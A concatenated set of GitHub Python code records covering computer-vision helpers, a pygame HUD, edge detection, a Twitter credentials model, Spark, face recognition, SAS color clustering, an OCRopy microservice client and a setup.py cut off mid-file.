= cv.boundingRect(approx)\n\n if filter > 0:\n if len(approx) == filter:\n finalContours.append([len(approx), area, approx, bbox, i])\n else:\n finalContours.append([len(approx), area, approx, bbox, i])\n \n finalContours = sorted(finalContours, key = lambda x:x[1], reverse=True)\n\n if draw:\n for con in finalContours:\n cv.drawContours(frame, con[4], -1, (255,0,255), 3)\n \n return frame, finalContours\n\ndef reorder(myPonits):\n print(myPonits.shape)\n myPonitsNew = np.zeros_like(myPonits)\n myPonits = myPonits.reshape((4,2))\n add = myPonits.sum(1)\n\n myPonitsNew[0] = myPonits[np.argmin(add)]\n myPonitsNew[3] = myPonits[np.argmax(add)] \n\n diff = np.diff(myPonits, axis = 1)\n myPonitsNew[1] = myPonits[np.argmin(diff)]\n myPonitsNew[2] = myPonits[np.argmax(diff)]\n\n return myPonitsNew\ndef wrapFrame(frame, ponits, w,h):\n\n pts1 = np.float32(ponits)\n pts2 = np.float32([[0,0], [w,0],[0,h],[w,h]])\n\n matrix = cv.getPerspectiveTransform(pts1, pts2)\n imgWrap = cv.warpPerspective(frame, matrix, (w,h))\n\n return imgWrap","repo_name":"ZiaUrRehman-bit/Finding-the-width-and-height-of-an-object-using-aruco-library","sub_path":"01. Finding Object Width and Height/utilis.py","file_name":"utilis.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"73235886693","text":"import constantes\nfrom constantes import ALTO_VENTANA\n\ndef mostrar_vidas_y_tiempo(fuente, segundos, frida, ventana_ppal, nombre_usuario):\n\n segundos_texto = fuente.render(str(segundos),True, constantes.GRIS)\n segundos_rect = segundos_texto.get_rect()\n\n ventana_ppal.blit(segundos_texto, (10, 10))\n\n texto_vidas = fuente.render(f'Vidas: {str(frida.vidas)}', True, constantes.GRIS)\n texto_rect = texto_vidas.get_rect()\n\n ventana_ppal.blit(texto_vidas, (constantes.ANCHO_VENTANA - texto_rect.width - texto_rect.width * 0.5, 10))\n\n nombre = fuente.render(f'{str(nombre_usuario)}',True, constantes.GRIS)\n nombre_rect = nombre.get_rect()\n\n scoring = fuente.render(f'Puntos: {frida.scoring}',True, constantes.GRIS)\n scoring_rect = scoring.get_rect()\n\n suma_rect = nombre_rect.width + scoring_rect.width + 5 # Ajusta el espacio entre \"nombre\" y \"scoring\"\n\n x_nombre = (constantes.ANCHO_VENTANA - suma_rect) // 2\n y_nombre = 10 # Ajusta la posición vertical según tus necesidades\n ventana_ppal.blit(nombre, (x_nombre, y_nombre))\n\n x_scoring = x_nombre + nombre_rect.width + 10 # Ajusta el espacio entre \"nombre\" y \"scoring\"\n y_scoring = y_nombre # Mantiene la misma altura vertical\n ventana_ppal.blit(scoring, (x_scoring, y_scoring))\n\n\ndef mostrar_vidas_fantasma(fuente, ventana_ppal, enemigo_final):\n fantasma = fuente.render(f'Fantasma vidas: {str(enemigo_final.vidas)}',True, constantes.GRIS)\n fantasma_rect = fantasma.get_rect()\n\n x_fantasma = (constantes.ANCHO_VENTANA - fantasma_rect.width) // 2\n y_fantasma = 55\n ventana_ppal.blit(fantasma, (x_fantasma, y_fantasma))\n","repo_name":"MatiasDonati/Programacion_I","sub_path":"Frida/textos.py","file_name":"textos.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"19232006786","text":"import json\nimport random\n\ndef raise_ticket(request):\n content_type = request.headers['content-type'] \n \n if content_type == 'application/json':\n name = request.json.get('name')\n issue = request.json.get('issue')\n elif content_type == 'application/octet-stream':\n temp_data = request.data.decode(\"utf-8\")\n words = temp_data.split()\n name = words[words.index('name:') + 1]\n issue = temp_data.split(\"issue\", 1) [1]\n elif content_type == 'text/plain' :\n temp_data = request.data.decode('utf-8')\n words =temp_data.split()\n name = words[words.index('name:') + 1]\n issue = temp_data.split(\"issue:\", 1)[1]\n elif content_type == 'application/x-www-form-urlencoded':\n name = requests.form.get('name')\n issue = requests.form.get('issue')\n \n else:\n raise ValueError (\"unknown content type {}\" . format(content_type))\n \n \n id = random.randint(1000,2000)\n return'Ticket generated with id, {}'.format(id)","repo_name":"OrinaOisera/Cloud-functions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"36798801535","text":"import math\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\ndef Gaussian_Model(sigma,point):\n x, y = point\n ratio = 1/(2*math.pi*sigma**2)\n# Slightly different for the expression from the lecture. #\n e_part = math.exp(-(x**2+y**2)/(2*sigma**2))\n return ratio * e_part\n \ndef Gaussian_Blur(sigma,kernel_size):\n# This can use array to boost access speed. #\n half_kernel = (kernel_size-1) // 2\n Gaussian_matrix = []\n for i in range(kernel_size):\n Gaussian_matrix.append([])\n for j in range(kernel_size):\n Gaussian_matrix[i].append(Gaussian_Model(sigma,(j-half_kernel,half_kernel-i)))\n# Visualize the Matrix. #\n for i in range(len(Gaussian_matrix)): print(Gaussian_matrix[i],'\\n')\n print(\"\\n\")\n return Gaussian_matrix\n \ndef convolution(matrix,x,y,src):\n# This function is only for grey scale image. #\n# Please use getGreyImge first, if input is a RGB image. #\n# Can be optimized by the product of two vectors. #\n x_boundary, y_boundary = src.shape\n kernel_size = len(matrix)\n# Help to track the row in Matrix. #\n index_i = 0\n res = 0\n# Get the start and end of k. #\n start = int(-(kernel_size-1)/2)\n end = int((kernel_size-1)/2 + 1)\n for u in range(start,end):\n# Help to track the coloum in Matrix. #\n index_j = 0\n for v in range(start,end):\n# Boundary check. Smarter than padding the image. #\n if(x-u<0 or y-v<0 or x-u>=x_boundary or y-v>=y_boundary): res += 0\n else: res += src[x-u][y-v] * matrix[index_i][index_j]\n index_j += 1\n index_i += 1\n return res\n \ndef Sobel_Operation(src):\n# This function is only for grey scale image. #\n# Please use getGreyImge first, if input is a RGB image. #\n sobel_x = [[-1,0,1],[-2,0,2],[-1,0,1]]\n sobel_y = [[-1,-2,-1],[0,0,0],[1,2,1]]\n x_length, y_length = src.shape\n res = np.empty((x_length,y_length), dtype=float)\n for i in range(x_length):\n for j in range(y_length):\n res[i][j] = math.sqrt(convolution(sobel_x,i,j,src)**2+convolution(sobel_y,i,j,src)**2)\n return res\n \ndef Threshold_Algorithm(gradients):\n tau = 0\n h, w = gradients.shape\n for i in range(h):\n for j in range(w):\n tau += gradients[i][j]\n tau = tau / (h*w)\n tau_0 = tau\n tau_1 = -1\n while 1:\n lower_bound = []\n upper_bound = []\n for i in range(h):\n for j in range(w):\n if gradients[i][j]=tau_1): edge_map[i][j] = 255\n else: edge_map[i][j] = 0\n return edge_map\n \ndef getGreyImge(img):\n# Change the rgb value to grey. #\n rgb_weights = [0.2989, 0.5870, 0.1140]\n return np.dot(img[...,:3], rgb_weights)\n \ndef getEdgeImage(img,Gaussian_Matrix):\n# This function is only for grey scale image. #\n# Please use getGreyImge first, if input is a RGB image. #\n x, y = img.shape\n# Do the filter first to decrease the noise. #\n Gaussian_image = np.empty((x,y), dtype=float)\n for i in range(x):\n for j in range(y):\n Gaussian_image[i][j] = convolution(Gaussian_Matrix,i,j,img)\n# Get the gradient image (array). #\n gradients = Sobel_Operation(Gaussian_image)\n return Threshold_Algorithm(gradients)\n \nif __name__ == '__main__':\n# Get two Gaussian_Matrix. #\n Gaussian_Matrix = Gaussian_Blur(1.5,3)\n Gaussian_Matrix_2 = Gaussian_Blur(0.5,5)\n# Get image array. #\n img_1 = plt.imread(\"./Q4_image_1.jpg\")\n img_2 = plt.imread(\"./Q4_image_2.jpg\")\n img_3 = plt.imread(\"./my_image.jpg\")\n# Change to grey scale.#\n# If the image is grey, skip this step. #\n grayscale_image_1 = getGreyImge(img_1)\n edge_map_1 = getEdgeImage(grayscale_image_1,Gaussian_Matrix)\n img_g_1 = Image.fromarray(edge_map_1)\n img_g_1.show()\n \n grayscale_image_2 = getGreyImge(img_2)\n edge_map_2 = getEdgeImage(grayscale_image_2,Gaussian_Matrix_2)\n img_g_2 = Image.fromarray(edge_map_2)\n img_g_2.show()\n \n grayscale_image_3 = getGreyImge(img_3)\n edge_map_3 = getEdgeImage(grayscale_image_3,Gaussian_Matrix)\n img_g_3 = Image.fromarray(edge_map_3)\n img_g_3.show()\n","repo_name":"LegendChen-X/Edge_Detection","sub_path":"q4_code.py","file_name":"q4_code.py","file_ext":"py","file_size_in_byte":4584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"39854324193","text":"\n\nfrom smarttypes.model.postgres_base_model import PostgresBaseModel\nimport tweepy\nfrom smarttypes.config import *\n# from smarttypes import model\nfrom smarttypes.utils import email_utils\n\n\nclass TwitterCredentials(PostgresBaseModel):\n\n table_name = 'twitter_credentials'\n table_key = 'access_key'\n table_columns = [\n 'access_key',\n 'access_secret',\n 'twitter_id',\n 'email',\n 'root_user_id',\n 'last_root_user_api_query'\n ]\n table_defaults = {}\n\n @property\n def auth_handle(self):\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n auth.set_access_token(self.access_key, self.access_secret)\n return auth\n\n @property\n def api_handle(self):\n return tweepy.API(self.auth_handle)\n\n @property\n def twitter_user(self):\n from smarttypes.model.twitter_user import TwitterUser\n if not self.twitter_id:\n return None\n return TwitterUser.get_by_id(self.twitter_id, self.postgres_handle)\n\n @property\n def root_user(self):\n from smarttypes.model.twitter_user import TwitterUser\n if not self.root_user_id:\n return None\n return TwitterUser.get_by_id(self.root_user_id, self.postgres_handle)\n\n def maybe_send_initial_map_email(self):\n if not self.root_user_id \\\n or self.root_user_id != self.twitter_id \\\n or not self.email:\n return\n txt = \"\"\"\nHi %s,\n\nWe finished you twitter social map:\n\nhttp://www.smarttypes.org/social_map?user_id=%s\n\nWe hope you enjoy exploring your map. We hope you find new/interesting/exciting people, to lead you to places you never imagined.\n\nOur software is in it's wee infancy -- there's still a lot of functionality in the queue: group trends, sentiment, search, and subscriptions -- we have a lot of work to do.\n\nWe're curious what you think. Please don't hesitate to drop me a line or give me a call if you have feedback, or want to get involved.\n\nWe hope you find value in the app -- thanks for signing up -- happy exploring!\n\n\nTimmy Wilson\nCleveland, OH\n1.330.612.0916\n \"\"\" % (self.twitter_user.screen_name, self.twitter_user.id)\n\n from_address = 'timmyt@smarttypes.org'\n email_utils.send_email(from_address, [self.email], txt, 'Your twitter social map is ready')\n\n @classmethod\n def create(cls, access_key, access_secret, postgres_handle):\n return cls(postgres_handle=postgres_handle,\n access_key=access_key, access_secret=access_secret).save()\n\n @classmethod\n def get_by_access_key(cls, access_key, postgres_handle):\n results = cls.get_by_name_value('access_key', access_key, postgres_handle)\n if results:\n return results[0]\n else:\n return None\n\n @classmethod\n def get_by_twitter_id(cls, twitter_id, postgres_handle):\n results = cls.get_by_name_value('twitter_id', twitter_id, postgres_handle)\n if results:\n return results[0]\n else:\n return None\n\n @classmethod\n def get_by_root_user_id(cls, root_user_id, postgres_handle):\n results = cls.get_by_name_value('root_user_id', root_user_id, postgres_handle)\n if results:\n return results[0]\n else:\n return None\n\n @classmethod\n def get_all(cls, postgres_handle, order_by='createddate'):\n\n sql_inject_protect = {\n 'createddate': 'createddate desc',\n 'last_root_user_api_query': \"coalesce(last_root_user_api_query, '2000-01-01') asc\",\n }\n\n qry = \"\"\"\n select *\n from twitter_credentials\n order by %s;\n \"\"\" % sql_inject_protect[order_by]\n results = postgres_handle.execute_query(qry)\n return [cls(postgres_handle=postgres_handle, **x) for x in results]\n","repo_name":"osiloke/smarttypes","sub_path":"smarttypes/model/twitter_credentials.py","file_name":"twitter_credentials.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"11813613638","text":"\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import lit\n\n# Создание SparkSession\nspark = SparkSession.builder.getOrCreate()\n\n# Создание датафрейма product_df\nproduct_data = [('product1',),\n ('product2',),\n ('product3',),\n ('product4',),\n ('product5',)]\nproduct_schema = ['product_name']\nproduct_df = spark.createDataFrame(product_data, product_schema)\n\n# Создание датафрейма category_df\ncategory_data = [('category1',),\n ('category2',),\n ('category3',)]\ncategory_schema = ['category_name']\ncategory_df = spark.createDataFrame(category_data, category_schema)\n\n# Добавление колонки 'product_name' в category_df (Необязательно, но позволит создать продукты без категорий)\ncategory_df = category_df.withColumn('product_name', lit(None))\n\n# Проверка создания д��тафреймов\nprint(\"product_df:\")\nproduct_df.show()\nprint(\"category_df:\")\ncategory_df.show()\n\n\nresult_df = product_df.join(category_df, product_df.product_name == category_df.product_name, \"left_outer\")\nresult_df = result_df.select(product_df.product_name, category_df.category_name)\nresult_df.show()\n","repo_name":"2WelcomeHome2/Mindbox_Test","sub_path":"SecondExc.py","file_name":"SecondExc.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"14445821518","text":"from threading import Thread\nimport cv2\nimport time\nimport numpy as np\nimport face_recognition\nimport pickle\ndtav =0 # dtimeaverage\nfont =cv2.FONT_HERSHEY_SIMPLEX\nwith open('train.pkl','rb') as f: # trained faces\n Names = pickle.load(f)\n Encodings=pickle.load(f)\nw = int(640)\nh = int(480)\nflip = 2\n\nclass vStream:\n def __init__(self,src,width,height):\n self.width = width\n self.height = height\n self.capture = cv2.VideoCapture(src)\n self.thread = Thread(target=self.update,args=())\n self.thread.daemon=True\n self.thread.start()\n def update(self):\n while True:\n ret, self.frame = self.capture.read()\n self.frame_resized = cv2.resize(self.frame,(self.width,self.height))\n def getFrame(self):\n return self.frame_resized\n\ncamSet='nvarguscamerasrc ! video/x-raw(memory:NVMM), width=3264, height=2464, format=NV12, framerate=21/1 ! nvvidconv flip-method='+str(flip)+' ! video/x-raw, width='+str(w)+', height='+str(h)+', format=BGRx ! videoconvert ! video/x-raw, format=BGR ! appsink'\n \ncam1 = vStream(1,w,h) # webCam\ncam2 = vStream(camSet,w,h) # piCam\nscaleFactor = .3\nwhile True:\n try:\n myFrame1 = cam1.getFrame() # webCamFrame\n myFrame2 = cam2.getFrame() # piCamFrame\n myFrame3 = np.hstack((myFrame1,myFrame2))\n # face_recogition = RGB | cv2 = BGR\n frameRGB=cv2.cvtColor(myFrame3,cv2.COLOR_BGR2RGB)\n frameRGBsmall = cv2.resize(frameRGB,(0,0),fx=scaleFactor,fy=scaleFactor)\n facePositions = face_recognition.face_locations(frameRGBsmall,model='cnn')\n allEncodings = face_recognition.face_encodings(frameRGBsmall,facePositions)\n for(top,right,bottom,left), face_encoding in zip(facePositions,allEncodings):\n name='Unknown'\n matches = face_recognition.compare_faces(Encodings,face_encoding)\n if(True) in matches:\n first_match_index=matches.index(True)\n name = Names[first_match_index]\n print(name)\n top=int(top/scaleFactor)\n left=int(left/scaleFactor)\n right=int(right/scaleFactor)\n bottom=int(bottom/scaleFactor)\n cv2.rectangle(myFrame3,(left,top),(right,bottom),(0,0,255),2)\n cv2.putText(myFrame3,name,(left,top-6),font,.60,(0,255,0),2)\n cv2.imshow('sync',myFrame3)\n \n except:\n print('frame not readed')\n if cv2.waitKey(1)==ord('q'):\n cam1.capture.release()\n cam2.capture.release()\n cv2.destroyAllWindows()\n exit(1)\n break\n","repo_name":"Serkanclk/nano","sub_path":"faceRecognizer/faceRecTwoCam.py","file_name":"faceRecTwoCam.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"27548507709","text":"from dlpy.images import ImageTable\nimport pandas as pd\nfrom scipy.spatial import distance_matrix\n\n# Read Color Data\ncolor_data = pd.read_csv('helper_functions/color_data.csv')\ncolor_data_numpy = color_data[['r','g','b']].to_numpy()\n\n# Helper Function to find closest color\ndef get_color_data(row):\n r = row.R\n g = row.G\n b = row.B\n ix = distance_matrix(color_data[['r','g','b']].to_numpy(), [[r,g,b]]).argmin(axis=0)[0]\n color_group = color_data.GROUP.iloc[ix]\n color_name = color_data.NAME.iloc[ix]\n color_r = color_data.r.iloc[ix]\n color_g = color_data.g.iloc[ix]\n color_b = color_data.b.iloc[ix]\n return color_group, color_name, color_r, color_g, color_b\n\n# Extract dominant colors by clustering pixel values\ndef extract_dominant_colors(conn, image_table, image_column='_image_', output_table='color_extraction', image_width=50, image_height=50):\n s = conn\n num_pixels = image_width*image_height\n # Load functions\n conn.loadactionset('transpose')\n conn.loadactionset(actionset=\"clustering\")\n\n # Create a flat table where each columns represents a R, G or B value for each pixel\n # Output table width is: 1 + pixel-width*pixel-height*number-channels\n # Example: 224*224 RGB image results in a table of width 1+224*224*3=150529\n # NOTE: groupchannels has the order B-G-R\n flat_image_table = conn.image.flattenImageTable(casout={'name':'flattenedImagesTable', 'replace':True},\n table=image_table,\n image=image_column,\n w = image_width,\n h = image_height, \n transpose=False, \n groupchannels=True)['OutputCasTables']['casTable'][0]\n # B - Table\n b_cols = set(['c{}'.format(i) for i in range(1,1+num_pixels)])\n conn.transpose.transpose(table=flat_image_table,\n transpose=b_cols, \n name='pixel',\n id={\"_label_\"},\n prefix='B_',\n casOut={\"name\":\"tout_b\", \"replace\":True})\n conn.datastep.runcode(code='''data casuser.tout_b (drop=pixel);\n set casuser.tout_b;\n pixel2 = input(SUBSTR(pixel,2), 10.);\n rename pixel2=pixel;\n run;''')\n b_table = conn.CASTable('tout_b')\n # G - Table\n g_cols = set(['c{}'.format(i) for i in range(1+num_pixels,1+num_pixels*2)])\n conn.transpose.transpose(table=flat_image_table,\n transpose=g_cols,\n name='pixel',\n id={\"_label_\"},\n prefix='G_',\n casOut={\"name\":\"tout_g\", \"replace\":True})\n conn.datastep.runcode(code='''data casuser.tout_g (drop=pixel);\n set casuser.tout_g;\n pixel2 = input(SUBSTR(pixel,2), 10.);\n pixel2 = pixel2 - {};\n rename pixel2=pixel;\n run;'''.format(num_pixels))\n g_table = conn.CASTable('tout_g')\n # R - Table\n r_cols = set(['c{}'.format(i) for i in range(1+num_pixels*2,1+num_pixels*3)])\n conn.transpose.transpose(table=flat_image_table,\n transpose=r_cols,\n name='pixel',\n id={\"_label_\"},\n prefix='R_',\n casOut={\"name\":\"tout_r\", \"replace\":True})\n conn.datastep.runcode(code='''data casuser.tout_r (drop=pixel);\n set casuser.tout_r;\n pixel2 = input(SUBSTR(pixel,2), 10.);\n pixel2 = pixel2 - {};\n rename pixel2=pixel;\n run;'''.format(num_pixels*2))\n r_table = conn.CASTable('tout_r')\n # Merge tables\n bg_table = b_table.merge(g_table, on='pixel')\n bgr_table = bg_table.merge(r_table, on='pixel')\n # # Create color clusters for each image\n first_table = True\n for l in image_table['_LABEL_']:\n b = 'B_{}'.format(l)\n g = 'G_{}'.format(l)\n r = 'R_{}'.format(l)\n clusters = conn.kclus(table=bgr_table,\n inputs={b, g, r},\n standardize='RANGE',\n #nClusters=3,\n estimateNClusters=dict(method='ABC', minClusters=2),\n seed=534,\n maxIters=40,\n init=\"RAND\")\n cluster_centers = clusters['ClusterCenters'].drop('_ITERATION_', axis=1)\n cluster_summary = clusters['ClusterSum'][['Cluster','Frequency']]\n cluster_summary['COLOR_CLUSTER_PERCENT'] = cluster_summary['Frequency'] / num_pixels * 100\n cluster_summary = cluster_summary.merge(cluster_centers, how='inner', left_on='Cluster', right_on='_CLUSTER_ID_')\n cluster_summary = cluster_summary.drop('_CLUSTER_ID_', axis=1)\n cluster_summary.rename(inplace=True,\n columns={cluster_summary.columns[3]:cluster_summary.columns[3][:1],\n cluster_summary.columns[4]:cluster_summary.columns[4][:1],\n cluster_summary.columns[5]:cluster_summary.columns[5][:1],\n 'Frequency':'COLOR_CLUSTER_SIZE', \n 'Cluster':'COLOR_CLUSTER_ID'})\n cluster_summary['_LABEL_'] = l\n # Map colors to web safe colors\n cluster_summary[['COLOR_GROUP','COLOR_NAME','COLOR_R','COLOR_G','COLOR_B']] = cluster_summary.apply(lambda row: get_color_data(row), axis='columns', result_type='expand')\n # groupby color_name to avoid duplicates\n cluster_summary = cluster_summary.groupby('COLOR_NAME').agg(dict(COLOR_CLUSTER_SIZE='sum', \n COLOR_CLUSTER_ID='sum', \n COLOR_CLUSTER_PERCENT='mean',\n R='mean', \n G='mean', \n B='mean', \n _LABEL_='first', \n COLOR_GROUP='first', \n COLOR_R='first', \n COLOR_G='first', \n COLOR_B='first')).reset_index()\n cluster_summary.sort_values('COLOR_CLUSTER_SIZE', inplace=True)\n cluster_summary['COLOR_CLUSTER_ID'] = range(0, len(cluster_summary))\n # Upload and concatenate results in CAS\n if first_table == True:\n conn.upload_frame(cluster_summary, casout=dict(name=output_table, replace=True))\n first_table = False\n else:\n conn.upload_frame(cluster_summary, casout=dict(name='tmp', replace=True))\n conn.datastep.runcode(code='''data casuser.{} (append=yes);\n set tmp;\n run;'''.format(output_table))\n return conn.CASTable(output_table)\n\n# Create Image table from query\ndef find_object_by_color(conn, detection_table_long, object_color_table, output_table, object_name, object_color, color_cluster_min_size=0, object_column='OBJECT_NAME', color_column='COLOR_NAME', color_cluster_size_column='COLOR_CLUSTER_PERCENT', id_column='_LABEL_', replace=True):\n conn.loadactionset('fedSql')\n #object_ids = object_color_table[object_color_table[color_column] == object_color][id_column].values\n object_ids = object_color_table[(object_color_table[color_column] == object_color) & (object_color_table[color_cluster_size_column] > color_cluster_min_size)][id_column].values\n object_ids = \"', '\".join(object_ids)\n object_ids = \"('{}')\".format(object_ids)\n \n conn.loadactionset('fedSql')\n if replace == True:\n replace_option = \"{options replace=true}\"\n else:\n replace_option = \"{options replace=false}\"\n query = ' create table {} {} as '.format(output_table, replace_option)\n \n query += \" select * from {} \".format(detection_table_long.name)\n query += \" where {} = \\'{}\\' and {} in {} \".format(object_column, object_name, id_column, object_ids)\n res = conn.fedSql.execDirect(query=query)\n img_tbl = ImageTable.from_table(conn.CASTable(output_table))\n return img_tbl","repo_name":"michaelgorkow/SAS_DeepLearning","sub_path":"Extracting_dominant_colors_of_images/helper_functions/color_extraction.py","file_name":"color_extraction.py","file_ext":"py","file_size_in_byte":9197,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"9"} +{"seq_id":"8669006170","text":"import requests\nimport multiprocessing as mp\nfrom django.conf import settings\nfrom itertools import product\nfrom contextlib import contextmanager\nimport cv2, zipfile, StringIO\nimport io, os, subprocess, glob, shutil\nimport logging\n\n### URL of Binarization/Segmentation/Recognition services\nURL_BIN = \"http://\" + settings.BIN_IP + \":\" + settings.BIN_PORT + \"/binarizationapi\"\nURL_SEG = \"http://\" + settings.SEG_IP + \":\" + settings.SEG_PORT + \"/segmentationapi\"\nURL_RECOG = \"http://\" + settings.RECOG_IP + \":\" + settings.RECOG_PORT + \"/recognitionapi\"\n\nlogger = logging.getLogger('ocropy')\n\ndef ocropy_exec(image, parameters):\n\tdataDir = settings.MEDIA_ROOT\n\n\tparas_bin = {}\n\tparas_seg = {}\n\tparas_recog = {}\n\n\t### Seperate parameters to bin/seg/recog parameters dict. respectively\n\tkeys = parameters.keys()\n\tfor key in keys:\n\t\tif key.startswith(\"bin_\"):\n\t\t\tparas_bin[key[4:]] = parameters[key]\n\t\telif key.startswith(\"seg_\"):\n\t\t\tparas_seg[key[4:]] = parameters[key]\n\t\telif key.startswith(\"recog_\"):\n\t\t\tparas_recog[key[4:]] = parameters[key]\n\t\telse:\n\t\t\tcontinue\n\t# Create a floder for this image to store the intermediate data\n\timg_base, img_ext = os.path.splitext(str(image))\n\tpath_data = dataDir + \"/\" + img_base\n\n\tif not os.path.isdir(path_data):\n\t\tsubprocess.call([\"mkdir -p \" + path_data], shell=True)\n\t\n\t#####################################\n\t##### Call binarization service #####\n\t#####################################\n\tresp_bin = requests.get(URL_BIN, files={'image': image}, data=paras_bin)\n\timg_bin_name = img_base + \"_bin.png\"\n\timg_bin_path = os.path.join(path_data, img_bin_name)\n\t# Save the responsed binarized image\n\tif resp_bin.status_code == 200:\n\t\twith open(img_bin_path, 'wb') as fd:\n\t\t\tfor chunk in resp_bin:\n\t\t\t\tfd.write(chunk)\n\telse:\n\t\tlogger.error(\"Image %s Binarization failed!\" % image)\n\t\tshutil.rmtree(path_data)\n\t\treturn None\n\tlogger.info(\"Binarization over!!!\")\n\n\n\t#####################################\n\t##### Call segmentation service #####\n\t#####################################\n\tresp_seg = requests.get(URL_SEG, files={'image': open(img_bin_path, 'rb')}, data=paras_seg)\n\tpath_seg = path_data + \"/\" + \"seg\" # Unzip segmented images floder under this folder\n\tif not os.path.isdir(path_seg):\n\t\tsubprocess.call([\"mkdir -p \" + path_seg], shell=True)\n\t# Unpress the zip file responsed from segmentation service, and save it\n\tif resp_seg.status_code == 200:\n\t\t# For python 3+, replace with io.BytesIO(resp.content)\n\t\tz = zipfile.ZipFile(StringIO.StringIO(resp_seg.content)) \n\t\tz.extractall(path_seg)\n\telse:\n\t\tlogger.error(\"Image %s Segmentation error!\" % bin_img_name)\n\t\tshutil.rmtree(path_data)\n\t\treturn None\n\tlogger.info(\"Segmentation over!!!\")\n\n\t#####################################\n\t##### Call recognition service ######\n\t#####################################\n\t# Folder that stores recognized results of all segmented line-images\n\tpath_recog = path_data + \"/\" + \"recog\"\n\tif not os.path.isdir(path_recog):\n\t\tsubprocess.call([\"mkdir -p \" + path_recog], shell=True)\n\t# The internal folder that stored the segmented images\n\tfolder_seg_images = os.listdir(path_seg)[0]\n\tpath_seg_images = path_seg + \"/\" + folder_seg_images\n\t# Call recognition service for each segmented images\n\tjobs = []\n\tfor img_seg in os.listdir(path_seg_images):\n\t\timg_seg_path = os.path.join(path_seg_images, img_seg)\n\t\t#call_recog((img_seg_path, paras_recog, path_recog)) # single process\n\t\tjobs.append((img_seg_path, paras_recog, path_recog))\n\t# Call recognition service with multiple processes, # processes = # CPU by default\n\tpool = mp.Pool()\n\tpool.map(call_recog, jobs)\n\t# Close pool of processes after they are finished\n\tpool.close()\n\tpool.join()\n\tlogger.info(\"Recognition over!!!\")\n\n\t\n\t##########################################################\n\t##### Concatenate all reconition results in sequence #####\n\t##########################################################\n\trecog_list = glob.glob(path_recog+\"/*/*.txt\")\n\t# sort by alphabetical order followed by length of string\n\trecog_list.sort()\n\trecog_list.sort(key=len)\n\t# Combine all of the recognized results.\n\t# Write all recognized results into one String object, and return this object\n\t# from memory to user directly. Reducing 2 times accessing disk\n\textract_result = \"\"\n\tfor f in recog_list:\n\t\twith open(f, \"rb\") as infile:\n\t\t\textract_result = extract_result + infile.read() + \"\\n\"\n\tif extract_result == \"\":\n\t\textract_result = None\n\n\t##### Delete the intermediate data #####\n\tshutil.rmtree(path_data)\n\n\treturn extract_result\n\n\ndef call_recog(job):\n\timage, parameters, dstDir = job\n\t# Package image and model specified by user\n\tupload_files = []\n\tif 'model' in parameters:\n\t\tmultiple_files.append(('model', (parameters['model'], open(parameters['model'], 'rb'))))\n\t\tdel parameters['model']\t\n\tupload_files.append(('image', (image, open(image, 'rb'))))\n\tresp_recog = requests.get(URL_RECOG, files=upload_files, data=parameters)\n\t# Unpress the zip file responsed from recognition service\n\tif resp_recog.status_code == 200:\n\t\t# For python 3+, replace with io.BytesIO(resp.content)\n\t\tz = zipfile.ZipFile(StringIO.StringIO(resp_recog.content))\n\t\tz.extractall(dstDir)\n\telse:\n\t\tlogger.error(\"Image %s Recognition error!\" % str(image))\n\n\ndef cropImage(imagepath, index, x, y, width, height):\n\tglobal CROP_IMAGE_DIR\n\timg = cv2.imread(imagepath, cv2.IMREAD_GRAYSCALE)\n\tcrop_img = img[y:y+height, x:x+width]\n\n\t### Create destination folder to store cropped images, and set the name format of the cropped images\n\timg_name_ext = os.path.basename(imagepath)\n\tbase_name, ext = img_name_ext.split('.')\n\tCROP_IMAGE_DIR = dataDir + \"/\" + base_name\n\tif not os.path.isdir(CROP_IMAGE_DIR):\n\t\tsubprocess.call([\"mkdir -p \" + CROP_IMAGE_DIR], shell=True)\n\tcrop_img_name = base_name + '_' + str(index) + '.png'\n\tcrop_img_path = CROP_IMAGE_DIR + \"/\" + crop_img_name\n\tcv2.imwrite(crop_img_path, crop_img)","repo_name":"acislab/HuMaIN_Microservices","sub_path":"OCRopyApp/api/ocropy.py","file_name":"ocropy.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"736650862","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport re\nimport shutil\nfrom io import open\n\nfrom setuptools import setup\n\n\ndef get_version(package):\n \"\"\"\n Return package version as listed in `__version__` in `init.py`.\n \"\"\"\n init_py = open(os.path.join(package, '__init__.py')).read()\n return re.search(\"__version__ = ['\\\"]([^'\\\"]+)['\\\"]\", init_py).group(1)\n\n\ndef get_packages(package):\n \"\"\"\n Return root package aed all sub-packages.\n \"\"\"\n return [dirpath\n for dirpath, dirnames, filenames in os.walk(package)\n if os.path.exists(os.path.join(dirpath, '__init__.py'))]\n\n\ndef get_package_data(package):\n \"\"\"\n Return all files under the root package, that are not in a\n package themselves.\n \"\"\"\n walk = [(dirpath.replace(package + os.sep, '', 1), filenames)\n for dirpath, dirnames, filenames in os.walk(package)\n if not os.path.exists(os.path.join(dirpath, '__init__.py'))]\n\n filepaths = []\n for base, filenames in walk:\n filepaths.extend([os.path.join(base, filename)\n for filename in filenames])\n return {package: filepaths}\n\n\napp = 'templet_app_name'\nversion = get_version(app)\n\nsetup(\n name=app,\n version=version,\n url='http://www.cyberpeace.cn/',\n license='BSD',\n description='Web APIs for Django, made easy.',\n # 